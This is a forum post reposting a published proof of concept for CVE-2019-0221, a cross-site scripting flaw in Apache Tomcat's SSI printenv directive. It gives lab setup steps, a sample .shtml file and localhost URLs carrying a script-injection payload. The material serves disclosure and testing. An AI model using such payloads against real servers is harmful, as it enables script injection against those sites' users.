This CHT Posted November 4, 2022 Group: The leader of the Content Count: 4,798 Achievement Points: 31,700 With Us For: 233 Days Status: Offline Last Seen: May 19 Device: Windows Share Posted November 4, 2022 # Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS) # Date: 05/21/2019 # Exploit Author: Central InfoSec # Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 # CVE : CVE-2019-0221 # Requirements: # SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default. # A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application. # The file must be accessible. # Proof of Concept: # Install a Java Runtime Environment (JRE) # Download a vulnerable version of Tomcat and extract the contents # Modify line 19 of the conf\context.xml file to globally enable privileged context Context privileged="true"> # Modify conf\web.xml to enable the SSI Servlet as per the Apache Tomcat User Guide # Put the following code in "webapps/ROOT/ssi/printenv.shtml" <html> <body> Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/> Printenv: <!-- #printenv --> </body> </html> # Run Tomcat cd bin catalina run # Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properly http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E Link to comment Share on other sites More sharing options...
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